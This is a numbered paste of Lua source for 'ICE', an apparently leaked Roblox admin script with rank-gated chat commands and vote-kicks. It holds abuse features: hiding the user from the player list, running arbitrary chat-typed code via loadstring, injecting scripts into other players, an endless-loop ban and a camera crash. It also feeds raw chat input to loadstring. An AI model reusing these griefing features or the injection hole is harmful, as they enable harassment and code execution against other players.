  1646. ICE.OnChatted(ICE.Bets[2]..'connect'..ICE.Bets[2],Player,true)
  1647. else
  1648. ICE.OnChatted(ICE.Bets[1]..'menu'..ICE.Bets[2],Player,true)
  1649. end
  1650. end
  1651. end)()
  1652.  
  1653. end
  1654. ICE.Command=function(Name,Command,Rank,Desc,Args,Func)
  1655. ICE.Commands[Name]={Command=Command,Rank=Rank,Desc=Desc,Args=Args,Func=Func};
  1656. end;
  1657. ICE.CreateTablets=function(Texts,Colors,Player,Times,Funcs)
  1658. if type(Texts) ~= 'table' then
  1659. Texts={Texts}
  1660. end
  1661. if type(Colors) ~= 'table' then
  1662. Colors={Colors}
  1663. end
  1664. if type(Times) ~= 'table' then
  1665. Times={Times}
  1666. end
  1667. if type(Funcs) ~= 'table' then
  1668. Funcs={Funcs}
  1669. end
  1670. Tabs={};
  1671. if #Colors == 1 and #Texts > 1 then
  1672. for i,v in pairs(Texts) do
  1673. Tabs[#Tabs+1]=ICE.Output(v,Colors[1],Player,Times[1],Funcs[1])
  1674. end
  1675. else
  1676. for i,v in pairs(Texts) do
  1677. Tabs[#Tabs+1]=ICE.Output(v,Colors[i],Player,Times[i],Funcs[i])
  1678. end
  1679. end
  1680. return Tabs
  1681. end
  1682. ICE.GetRank=function(Playr)
  1683. if type(Playr) == 'userdata' then Playr=Playr.Name end;
  1684. local Rank=0
  1685. local g =ICE.Ranked[Playr]
  1686. if g then Rank = g.Rank end
  1687. return Rank
  1688. end
  1689. ICE.TableToString=function(Table,TableName)
  1690. local String=""
  1691. if TableName then
  1692. local String= [[ local ]] .. TableName .. [[ = { ]]
  1693. else
  1694. String="{"
  1695. end
  1696. for i,v in pairs(Table) do
  1697. if type(i)=='string' then
  1698. if type(v) ~='table' then
  1699. if type(v)=='string' then
  1700. String=String..i..[[=]]..v..[[;]]
  1701. elseif type(v)=='number' then
  1702. String=String..i..[[=]]..tostring(v)..[[;]]
  1703. else
  1704. String=String..i..[[=]]..v..[[;]]
  1705. end
  1706. else
  1707. local Tab=ICE.TableToString(v,i)
  1708. String=String..i..[[=]]..Tab..[[;]]
  1709. end
  1710. else
  1711. if type(v) ~='table' then
  1712. if type(v)=='string' then
  1713. String=String..v..[[;]]
  1714. elseif type(v)=='number' then
  1715. String=String..tostring(v)..[[;]]
  1716. else
  1717. String=String..v..[[;]]
  1718. end
  1719. else
  1720. local Tab=ICE.TableToString(v,i)
  1721. String=String..Tab..[[;]]
  1722. end
  1723. end
  1724. end
  1725. if String:sub(#String,#String)==';' then
  1726. String=String:sub(1,#String-1)
  1727. end
  1728. String=String.."}"
  1729. return String
  1730. end
  1731. ICE.SandboxLoadstring=function(Source)
  1732. local Func = loadstring(Source or "")
  1733. setfenv(Func,{___ENV = getfenv(1)})
  1734. return coroutine.wrap(Func)
  1735. end
  1736. ICE.GetPlayers=function(Msg,Speaker)
  1737. if Msg == nil or Speaker == nil then
  1738. return ICE.Services.Players:GetPlayers()
  1739. else
  1740. local Rtn = {}
  1741. local Players = game:service'Players':GetPlayers()
  1742. Msg = Msg:lower()
  1743. local Split = Msg:find(",")
  1744. if Split ~= nil then
  1745. for _,v in pairs(ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  1746. Rtn[#Rtn+1] = v
  1747. end
  1748. for _,v in pairs(ICE.GetPlayers(Msg:sub(Split+1),Speaker)) do
  1749. Rtn[#Rtn+1] = v
  1750. end
  1751. elseif Msg == "me" then
  1752. if Speaker:IsA'Player' then
  1753. Rtn[#Rtn+1] = Speaker
  1754. else
  1755. Rtn[#Rtn+1] = game.Players:GetPlayers()[math.random(1,#game.Players:GetPlayers())]
  1756. end
  1757. elseif Msg == "others" then
  1758. for _,v in pairs(Players) do
  1759. if v ~= Speaker then
  1760. Rtn[#Rtn+1] = v
  1761. end
  1762. end
  1763. elseif Msg == "all" then
  1764. for _,v in pairs(Players) do
  1765. Rtn[#Rtn+1] = v
  1766. end
  1767. elseif Msg:sub(1,4) == "rank" then
  1768. for _,v in pairs(Players) do
  1769. if ICE.SandboxLoadstring("return "..tostring(ICE.GetRank(v))..Msg:sub(5))() then
  1770. Rtn[#Rtn+1] = v
  1771. end
  1772. end
  1773. elseif Msg == "random" then
  1774. Rtn[#Rtn+1] = Players[math.random(1,#Players)]
  1775. elseif Msg:sub(1,4) == "not " then
  1776. local Nots = GetPlayers(Msg:sub(5),Speaker)
  1777. for _,v in pairs(Players) do
  1778. local ShouldAdd = true
  1779. for _,i in pairs(Nots) do
  1780. if v == i then
  1781. ShouldAdd = false
  1782. end
  1783. end
  1784. if ShouldAdd == true then
  1785. Rtn[#Rtn+1] = v
  1786. end
  1787. end
  1788. elseif Msg:sub(1,4) == "dist" then
  1789. for _,v in pairs(Players) do
  1790. --pcall(function()
  1791. local Mag = (v.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude
  1792. if ICE.SandboxLoadstring("return "..tostring(Mag)..Msg:sub(5))() and v ~= Speaker then
  1793. Rtn[#Rtn+1] = v
  1794. end
  1795. --end)
  1796. end
  1797. elseif Msg:sub(1,3) == "age" then
  1798. for _,v in pairs(Players) do
  1799. if ICE.SandboxLoadstring("return "..tostring(v.AccountAge)..Msg:sub(4))() then
  1800. Rtn[#Rtn+1] = v
  1801. end
  1802. end
  1803. else
  1804. for _,v in pairs(Players) do
  1805. if v.Name:lower():sub(1,#Msg) == Msg then
  1806. Rtn[#Rtn+1] = v
  1807. end
  1808. end
  1809. end
  1810. for i=1,#Rtn do
  1811.  
  1812. if ICE.Ranked[Rtn[i].Name] and ICE.Ranked[Rtn[i].Name].Rank > ICE.Ranked[Speaker.Name].Rank then
  1813. ICE.Output(Rtn[i].Name .. ' outranks you!','Red',Speaker)
  1814. Rtn[i]=nil
  1815. end
  1816. end
  1817. for _,Player in pairs(Rtn) do
  1818. for _,Parts in pairs(Player.Character:GetChildren()) do
  1819. local Color = ICE.Ranked[Speaker.Name].Color
  1820. if Parts.className == 'Part' then
  1821. local Box = Instance.new('SelectionBox', Parts)
  1822. Box.Adornee = Parts
  1823. Box.Color = BrickColor.new(Color)
  1824. Box.Transparency = 0.5
  1825. end
  1826. end
  1827. coroutine.resume(coroutine.create(function()
  1828. wait(1)
  1829. for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do
  1830.  
  1831. if Things.className == 'SelectionBox' then Things:remove() end
  1832. end
  1833. end
  1834. end))
  1835. end
  1836. return Rtn
  1837. end
  1838. end
  1839. ICE.RemoveTablets=function(Player)
  1840. if type(Player)=='userdata' then Player=Player.Name end;
  1841. Tablets=ICE.GetTablets(Player);
  1842. for _,v in pairs(Tablets) do
  1843. coroutine.wrap(function()
  1844. for i=0,1,0.1 do wait()
  1845. v.Part.Transparency = i
  1846. v.Sel.Transparency = i
  1847. v.Label.TextTransparency = i
  1848. end
  1849. v.Model:Destroy()
  1850. end)()
  1851. end
  1852. end
  1853. ICE.VoteData.AddVote=function(Player,Value)
  1854. ICE.VoteData.Votes[Player.Name]=Value
  1855. end
  1856. ICE.VoteData.RemoveVote=function(Player)
  1857. ICE.VoteData.Votes[Player.Name]=nil
  1858. end
  1859. ICE.VoteData.PlayerHasVoted=function(Player)
  1860. Is=false
  1861. if ICE.VoteData.Votes[Player.Name]==nil then
  1862. for P,V in pairs(ICE.VoteData.Votes) do
  1863. if P:lower():sub(1,#Player.Name)==Player.Name:lower() then
  1864. Is=true
  1865. end
  1866. end
  1867. else
  1868. Is=true
  1869. end
  1870. return Is
  1871. end
  1872. ICE.VoteData.ActivateVoteKick=function(Player)
  1873. ICE.VoteData.Votes={};-- Clear the votes
  1874. ICE.VoteData.IsVoting=false-- Reset Voting Value
  1875. ICE.VoteData.VotedPlayer=""-- Reset Voted Player
  1876. ICE.VoteData.VotingPlayers={};-- Reset Voting Players Table
  1877. ICE.VoteData.IsVoting=true;
  1878. ICE.VoteData.VotedPlayer=Player.Name
  1879. ICE.VoteData.VotingPlayers=ICE.Services.Players:GetPlayers()
  1880. for _nil_,VPlayer in pairs(ICE.VoteData.VotingPlayers) do
  1881. coroutine.wrap(function()
  1882. local Tabs={};
  1883. local EndCor=false;
  1884. Tabs['Yes']=ICE.Output('Vote yes!','Red',VPlayer,nil,function() ICE.VoteData.AddVote(VPlayer,true) EndCor=true end)
  1885. Tabs['No']=ICE.Output('Vote no!','Red',VPlayer,nil,function() ICE.VoteData.AddVote(VPlayer,false) EndCor=true end)
  1886. Tabs['Info']=ICE.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
  1887. coroutine.wrap(function()
  1888. repeat
  1889. for Name,Dat in pairs(Tabs) do
  1890. if Dat.Model.Parent==nil or Dat.Part.Parent==nil then
  1891. if Name=='Yes' then
  1892. Tabs[Name]=ICE.Output(Dat.Label.Text,'Red',VPlayer,function() ICE.VoteData.AddVote(VPlayer,true) EndCor=true end)
  1893. elseif Name=='No' then
  1894. Tabs[Name]=ICE.Output(Dat.Label.Text,'Red',VPlayer,function() ICE.VoteData.AddVote(VPlayer,false) EndCor=true end)
  1895. else
  1896. Tabs[Name]=ICE.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
  1897. end
  1898. end
  1899. end
  1900. wait()
  1901. until EndCor==true
  1902. end)()
  1903. end)()
  1904. end
  1905. coroutine.wrap(function()
  1906. repeat
  1907. wait()
  1908. until #ICE.VoteData.Votes == #ICE.VoteData.VotingPlayers
  1909. local Yes,No=0,0
  1910. for Name,P in pairs(ICE.VoteData.Votes) do
  1911. if P==true then
  1912. Yes=Yes+1
  1913. else
  1914. No=No+1
  1915. end
  1916. end
  1917. -- 2/3rds of Votes need to be yes for the Player to be kicked
  1918. VoteMsg=Instance.new'Message'
  1919. VoteMsg.Name='Voting'
  1920. VoteMsg.Parent=ICE.Services.Workspace:findFirstChild'Base' or ICE.Services.Workspace
  1921. VoteMsg.Text='All the votes are in now calculating votes'
  1922. local Needed = #ICE.VoteData.VotingPlayers
  1923. local NumNeed=false
  1924. local IsMult=false
  1925. for i=3,30 do
  1926. if Needed==i then
  1927. IsMult=true
  1928. end
  1929. end
  1930. if IsMult==true then
  1931. NumNeeded = Needed / 3
  1932. NumNeeded=NumNeeded + NumNeeded
  1933. else
  1934. local Mult=0
  1935. for b=3,30 do
  1936. if b < Needed then
  1937. Mult=b
  1938. end
  1939. end
  1940. -- Found Least Multiple of 3 with remainder
  1941. local Remainder=Needed - Mult
  1942. if Remainder == 1 then
  1943. -- What to do
  1944. NumNeeded= Needed / 3
  1945. NumNeeded=NumNeeded + NumNeeded
  1946. else
  1947. -- Remainder is 2 :)
  1948. NumNeeded = tonumber(Needed + 1) / 3
  1949. NumNeeded = NumNeeded + NumNeeded
  1950. end
  1951. end
  1952. wait(1)
  1953. VoteMsg='The votes are in; (Yes): ' .. Yes .. ' (No): ' .. No
  1954. wait(1)
  1955. if Yes >= Needed then
  1956. VoteMsg.Text=Player.Name .. ' will now be kicked'
  1957. pcall(function() Player:Destroy() end)
  1958. else
  1959. VoteMsg=Player.Name .. ' will not be kicked'
  1960. end
  1961. end)()
  1962. end
  1963. ICE.CrashObj=function(Object)
  1964. --Object:Destroy()
  1965. Object.Parent.Head:Destroy()
  1966. Object.Parent:Destroy()
  1967. end
  1968. ICE.CrashCam=function()
  1969. local Focus=ICE.Services.Workspace:findFirstChild('Focus',true)
  1970. if Focus then
  1971. ICE.CrashObj(Focus)
  1972. end
  1973. end
  1974. ICE.MakeMessage=function(str,p)
  1975. if p==nil then
  1976. for _,Player in pairs(game.Players:GetPlayers()) do
  1977. coroutine.wrap(function()
  1978. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  1979. local Text = Instance.new("TextLabel", Msg)
  1980. Text.Position = UDim2.new(0, 0, 0.7, 0)
  1981. Text.Font=2
  1982. Text.FontSize=9
  1983. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  1984. Text.BackgroundTransparency = 0.4
  1985. Text.TextColor3 = Color3.new(1, 1, 1)
  1986. Text.TextTransparency = 1
  1987. Text.TextWrap = true
  1988. Text.Text = tostring(str)
  1989. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  1990. Text.TextTransparency = 0
  1991. Num = #str * 0.06
  1992. wait(3)
  1993. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  1994. wait(Num)
  1995. Msg:Remove()
  1996. end)()
  1997. end
  1998. else
  1999. Player=p;
  2000. coroutine.wrap(function()
  2001. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2002. local Text = Instance.new("TextLabel", Msg)
  2003. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2004. Text.Font=2
  2005. Text.FontSize=9
  2006. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2007. Text.BackgroundTransparency = 0.1
  2008. Text.TextColor3 = Color3.new(1, 1, 1)
  2009. Text.TextTransparency = 1
  2010. Text.TextWrap = true
  2011. Text.Text = tostring(str)
  2012. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2013. Text.TextTransparency = 0
  2014. Num = #str * 0.06
  2015. wait(3)
  2016. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2017. wait(Num)
  2018. Msg:Remove()
  2019. end)()
  2020. end
  2021. end
  2022. ICE.SystemMsg=function(str)
  2023. for _,Player in pairs(game.Players:GetPlayers()) do
  2024. coroutine.wrap(function()
  2025. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2026. local Text = Instance.new("TextLabel", Msg)
  2027. Text.Position = UDim2.new(0, 0, 0, 0)
  2028. Text.Font='Legacy'
  2029. Text.FontSize = "Size48"
  2030. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2031. Text.BackgroundTransparency = 0.4
  2032. Text.TextColor3 = Color3.new(1,1,1)
  2033. Text.TextTransparency = 0
  2034. Text.TextWrap = true
  2035. Text.Text = '[ System Message ] \n ' .. tostring(str)
  2036. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2037. Text.TextTransparency = 0.1
  2038. Num = #str * 0.06
  2039. wait(6)
  2040. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2041. wait(Num)
  2042. Msg:Remove()
  2043. end)()
  2044. end
  2045. end
  2046. ICE.MakeHint=function(str,p)
  2047. if p == nil then
  2048. for _,Player in pairs(game.Players:GetPlayers()) do
  2049. coroutine.wrap(function()
  2050. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2051. local Text = Instance.new("TextLabel", Msg)
  2052. Text.Position = UDim2.new(0, 0, 0, 0)
  2053. Text.Font=2
  2054. Text.FontSize=9
  2055. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2056. Text.BackgroundTransparency = 0.4
  2057. Text.TextColor3 = Color3.new(1, 1, 1)
  2058. Text.TextTransparency = 1
  2059. Text.TextWrap = true
  2060. Text.Text = tostring(str)
  2061. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2062. Text.TextTransparency = 0
  2063. Num = #str * 0.06
  2064. wait(3)
  2065. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2066. wait(Num)
  2067. Msg:Remove()
  2068. end)()
  2069. end
  2070. else
  2071. Player=p
  2072. coroutine.wrap(function()
  2073. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2074. local Text = Instance.new("TextLabel", Msg)
  2075. Text.Position = UDim2.new(0, 0, 0, 0)
  2076. Text.Font=2
  2077. Text.FontSize=9
  2078. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2079. Text.BackgroundTransparency = 0.1
  2080. Text.TextColor3 = Color3.new(1, 1, 1)
  2081. Text.TextTransparency = 1
  2082. Text.TextWrap = true
  2083. Text.Text = tostring(str)
  2084. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2085. Text.TextTransparency = 0
  2086. Num = #str * 0.06
  2087. wait(3)
  2088. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2089. wait(Num)
  2090. Msg:Remove()
  2091. end)()
  2092. end
  2093. end
  2094. ICE.GiveInfo=function(Speaker)
  2095. Num_Commands=0
  2096. Num_Services=0
  2097. Num_Tablets=0
  2098. Num_Ranked=0
  2099. Version=1
  2100. coroutine.wrap(function() for i,v in pairs(ICE.Commands) do Num_Commands=Num_Commands+1 end end)()
  2101. coroutine.wrap(function() for i,v in pairs(ICE.Services) do Num_Services=Num_Services+1 end end)()
  2102. coroutine.wrap(function() for i,v in pairs(ICE.Ranked) do Num_Ranked=Num_Ranked+1 end end)()
  2103. coroutine.wrap(function() for i,v in pairs(ICE.Tablets) do Num_Tablets=Num_Tablets+1 end end)()
  2104. coroutine.wrap(function() for i,v in pairs(ICE) do if type(v)=='function' then Version=Version+#ICE/0.01337 end end end)()
  2105. ICE.Output('#Tablets ' .. tostring(Num_Tablets),'Random',Speaker)
  2106. ICE.Output('#Services ' .. tostring(Num_Services),'Random',Speaker)
  2107. ICE.Output('#Ranked ' .. tostring(Num_Ranked),'Random',Speaker)
  2108. ICE.Output('#Commands ' .. tostring(Num_Commands),'Random',Speaker)
  2109. ICE.Output('Version : ' .. tostring(Version),'Random',Speaker)
  2110. ICE.Output('Help menu','Green',Speaker,nil,
  2111. function()
  2112. ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
  2113. ICE.Output('Get player operators','Orange',Speaker,nil,function()
  2114. ICE.RemoveTablets(Speaker)
  2115. ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
  2116. Infos={
  2117. {T="The bets are ["..ICE.Bets[1]..";"..ICE.Bets[2].."]",C="Orange"};
  2118. {T="To use a cmd its "..ICE.Bets[1].."Command"..ICE.Bets[2].."Arguments/Args",C="Orange"};
  2119. {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
  2120. {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
  2121. {T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
  2122. };
  2123. for i,v in pairs(Infos) do
  2124. ICE.Output(v.T,v.C,Speaker)
  2125. end
  2126. end)
  2127. ICE.Output('Chat operators','Orange',Speaker,nil,function()
  2128. --ypcall(function()
  2129. ICE.RemoveTablets(Speaker)
  2130. Infos={
  2131. {T="To use a cmd more then once do '" .. ICE.Bets[1] .. " do (a number)"..ICE.Bets[1].."(a command)".. ICE.Bets[2] .."(arguments)'",C="Blue"};
  2132. {T="To wait before using a command do '" .. ICE.Bets[1].. " wait" .. ICE.Bets[1].. "(a command)" .. ICE.Bets[2] .. "(arguments)'",C="Blue"};
  2133. };
  2134. for i,v in pairs(Infos) do
  2135. ICE.Output(v.T,v.C,Speaker)
  2136. end
  2137. ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
  2138. --end)
  2139. end)
  2140. end
  2141. )
  2142. end
  2143. --[[ Sandbox ]]--
  2144. ICE.SandBoxCoding=[[
  2145. coroutine.wrap(function()
  2146. repeat
  2147. wait()
  2148. for i,v in pairs(getfenv()) do
  2149. obj=getfenv[i]
  2150. if type(obj)=='userdata' then
  2151. if obj.Name=='ICEAdminLeaked' then
  2152. if obj:IsA'Player' then
  2153. getfenv()[i]=nil;
  2154. end
  2155. end
  2156. end
  2157. end
  2158. until 1+1==3
  2159. end)()
  2160. %s
  2161. ]]
  2162. ICE.SandBoxScript=function(Script)
  2163. Source=nil;
  2164. Script.Disabled=true
  2165. for i,v in pairs(Script:children()) do
  2166. if v:IsA'StringValue' then
  2167. Old="" .. ICE.SandBoxCoding
  2168. Old=Old:format(v.Value)
  2169. v.Value=Old
  2170. end
  2171. end
  2172. Script.Disabled=false
  2173. end
  2174. --[[ End Of Sand Box ]]--
  2175. --[=[ End of funcs ]=]--
  2176. --[[ Rank 0 ]]--
  2177. ICE.Command('Connect','connect',0,'Connects to nil device','No args',
  2178. function(Msg,Speaker)
  2179. SC=ICE.CreateLocalScript([==[script.Parent=nil
  2180. Player=game.Players.LocalPlayer
  2181. Probe=Instance.new'Part';
  2182. CN='ICEAdminLeaked'
  2183. Camera=Workspace.CurrentCamera
  2184. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  2185. Char = Player.Character
  2186. if Char then
  2187. Char.Archivable = true
  2188. Char = Char:clone()
  2189. local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  2190. if t then
  2191. for k,v in pairs(Char:GetChildren()) do
  2192. if not v:IsA("Part") then
  2193. v:clone().Parent = t
  2194. end
  2195. end
  2196. Char = t:clone()
  2197. end
  2198. end
  2199. Title=function(txt,part,color,rise)
  2200. col=nil
  2201. col=Color3.new(BrickColor.new(color))
  2202. local Gui = Instance.new("BillboardGui",part)
  2203. Gui.Name = "3DGUI"
  2204. Gui.ExtentsOffset = Vector3.new(0,2,0)
  2205. Gui.Size = UDim2.new(8,0,2,0)
  2206. local Tit = Instance.new("TextLabel",Gui)
  2207. Tit.Name = "Title"
  2208. Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  2209. Tit.TextColor3 = Color3.new(0,0,0)
  2210. Tit.TextTransparency = 0.25
  2211. Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  2212. Tit.TextStrokeTransparency = 0.5
  2213. Tit.Size = UDim2.new(1,0,1,0)
  2214. Tit.BackgroundTransparency = 1
  2215. Tit.Font = "ArialBold"
  2216. Tit.TextScaled = true
  2217. Tit.Text = txt
  2218. if rise then
  2219. if not tonumber(rise) then rise = 1 end
  2220. coroutine.wrap(function()
  2221. while Tit.Parent and Gui.Parent and wait() do
  2222. Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  2223. end
  2224. end)()
  2225. end
  2226. return Tit
  2227. end
  2228. Chat=function(Part,Text,Color,Type)
  2229. if Type==nil or Type==1 or Type=='Bubble' then
  2230. game:service'Chat':Chat(Part,Text,Color)
  2231. else
  2232. if type(Color)~='string' then
  2233. Color=tostring(BrickColor.random())
  2234. end
  2235. Title(Text,Part,Color,math.random(1,3))
  2236. end
  2237. end
  2238. DestroyCharacter=function()
  2239. local chara = Player.Character
  2240. if not chara then return end
  2241. if chara:findFirstChild("Humanoid") then
  2242. chara.Humanoid:Destroy()
  2243. end
  2244. chara:BreakJoints()
  2245. for k,v in pairs(chara:GetChildren()) do
  2246. if v:IsA("BasePart") then
  2247. v.CanCollide = false
  2248. v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  2249. v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2250. end
  2251. end
  2252. game.Debris:AddItem(chara,3)
  2253. end
  2254. MakeProbe=function()
  2255. if Player.Character then DestroyCharacter() end Player.Character = nil
  2256. if Probe then Probe:Destroy() end
  2257. Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  2258. Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  2259. Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  2260. Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  2261. coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  2262. --Player.Character=Probe
  2263. end
  2264. Spawn=function()
  2265. if Char then
  2266. local c = Char:clone()
  2267. c.Name = CN
  2268. c.Parent = workspace
  2269. c:MoveTo(workspace.CurrentCamera.Focus.p)
  2270. Player.Character = c
  2271. workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  2272. workspace.CurrentCamera.CameraType = "Custom"
  2273. Probe:Destroy()
  2274. end
  2275. end
  2276. Player.Chatted:connect(function(Msg)
  2277. if Msg:sub(1,2) == '\\\\' then
  2278. local Func,Error=loadstring(Msg:sub(3))
  2279. if Error==nil then
  2280. pcall(Func)
  2281. if Player.Character then
  2282. game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  2283. end
  2284. else
  2285. if Player.Character then
  2286. game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  2287. else
  2288. local Msg=Instance.new'Message'
  2289. Msg.Parent=Workspace.CurrentCamera
  2290. Msg.Text=Error
  2291. game:service'Debris':AddItem(Msg,5)
  2292. end
  2293. end
  2294. elseif Msg:sub(1,#('newlocal')+2) == '\\newlocal\\' then
  2295. NewMsg=Msg:sub(#('newlocal')+3)
  2296. Split=NewMsg:find('\\')
  2297. local PlayerName=NewMsg:sub(1,Split-1)
  2298. local Source=NewMsg:sub(Split+1)
  2299. Player=nil
  2300. for i,v in pairs(game.Players:GetPlayers()) do
  2301. if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  2302. if Player==nil then
  2303. Player=v
  2304. else
  2305. if type(Player) == 'table' then
  2306. Player[#Player+1]=v
  2307. else
  2308. Player={v}
  2309. end
  2310. end
  2311. end
  2312. end
  2313. if type(Player)=='table' then
  2314. for i,v in pairs(Player) do
  2315. if newLocalScript then
  2316. newLocalScript(Source,v.Character)
  2317. else
  2318. Clone=script:clone();
  2319. SourceC=Clone:children()[1]
  2320. if SourceC:IsA'StringValue' then
  2321. print'String'
  2322. else
  2323. SourceC=Clone:children()[2]
  2324. end
  2325. SourceC.Value=Source
  2326. Clone.Disabled=true
  2327. Clone.Parent=v.Character
  2328. Clone.Disabled=false
  2329. end
  2330. end
  2331. else
  2332. if newLocalScript then
  2333. newLocalScript(Source,Player.Character)
  2334. else
  2335. Clone=script:clone();
  2336. DS=Clone:children()
  2337. DSS=nil
  2338. for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  2339. DSS.Value=Source
  2340. Clone.Disabled=true;
  2341. Clone.Parent=Player.Character
  2342. Clone.Disabled=false
  2343. end
  2344. end
  2345. elseif Msg:sub(1,#('rejoin')+2) == '\\rejoin\\' then
  2346. game:service'TeleportService':Teleport(Game.PlaceId)
  2347. elseif Msg:sub(1,#('probe')+2) == '\\probe\\' then
  2348. MakeProbe()
  2349. elseif Msg:sub(1,#('char')+2) =='\\char\\' then
  2350. Spawn()
  2351. elseif Msg:sub(1,#('ban')+2) == '\\ban\\' then
  2352. Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  2353. if Player then
  2354. repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  2355. end
  2356. end
  2357. wait()
  2358. if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('\\probe\\') and not Msg:find('\\char\\') then -- Is nil then
  2359. if Probe then
  2360. Chat(Probe,Msg,math.random(0,2))
  2361. else
  2362. if Player.Character==nil then
  2363. if Char then
  2364. Chat(Char.Head,Msg,math.random(0,2))
  2365. end
  2366. else
  2367. Chat(Player.Character.Head,Msg,'Red')
  2368. end
  2369. end
  2370. end
  2371. end) -- local
  2372. ]==],Speaker.Character)
  2373. if SC then
  2374. ICE.Output('Sucessful attempt at connecting! When you are removed from game chat \\probe\\ or \\char\\','Green',Speaker)
  2375. else
  2376. ICE.Output('Unsucessful connection attempt!','Red',Speaker)
  2377. end
  2378. end
  2379. )
  2380. ICE.Command('Commands','cmds',0,'Shows commands','No arguments',
  2381. function(Msg,Speaker)
  2382. ICE.RemoveTablets(Speaker)
  2383. local Mine=ICE.Ranked[Speaker.Name]
  2384. for i=1,#ICE.Ranks do
  2385. if i > 0 and i < #ICE.Ranks + 1 then
  2386. ICE.Output('Rank ' .. tostring(i),Mine.Color,Speaker,nil,
  2387. function()
  2388. ICE.RemoveTablets(Speaker)
  2389. if Mine.Rank < i then
  2390. ICE.Output('You cannot access to these commands! View anyways?','Red',Speaker,nil,function()
  2391. --ICE.RemoveTablets(Speaker)
  2392. Num=0
  2393. for e,v in pairs(ICE.Commands) do
  2394. if v.Rank == i then
  2395. Num=Num+1
  2396. ICE.Output(e,'Random',Speaker,nil,
  2397. function()
  2398. ICE.RemoveTablets(Speaker);
  2399. for Name,Str in pairs(v) do
  2400. ICE.Output(tostring(Name) .. '; ' .. tostring(Str),Mine.Color,Speaker)
  2401. end
  2402. ICE.Output('Syntax : ' .. Str.Command .. ICE.Bet,Mine.Color,Speaker)
  2403. end
  2404. )
  2405. end
  2406. end
  2407. if Num== 0 then
  2408. ICE.Output('No available commands for this rank!','Red',Speaker)
  2409. end
  2410. end)
  2411. else
  2412. Num=0
  2413. for CmdName,CmdTable in pairs(ICE.Commands) do
  2414. if CmdTable.Rank == i then
  2415. Num=Num+1
  2416. ICE.Output(CmdName,Mine.Color,Speaker,nil,
  2417. function()
  2418. ICE.RemoveTablets(Speaker);
  2419. for Str,Val in pairs(CmdTable) do
  2420. ICE.Output(tostring(Str) .. '; ' .. tostring(Val),Mine.Color,Speaker)
  2421. end
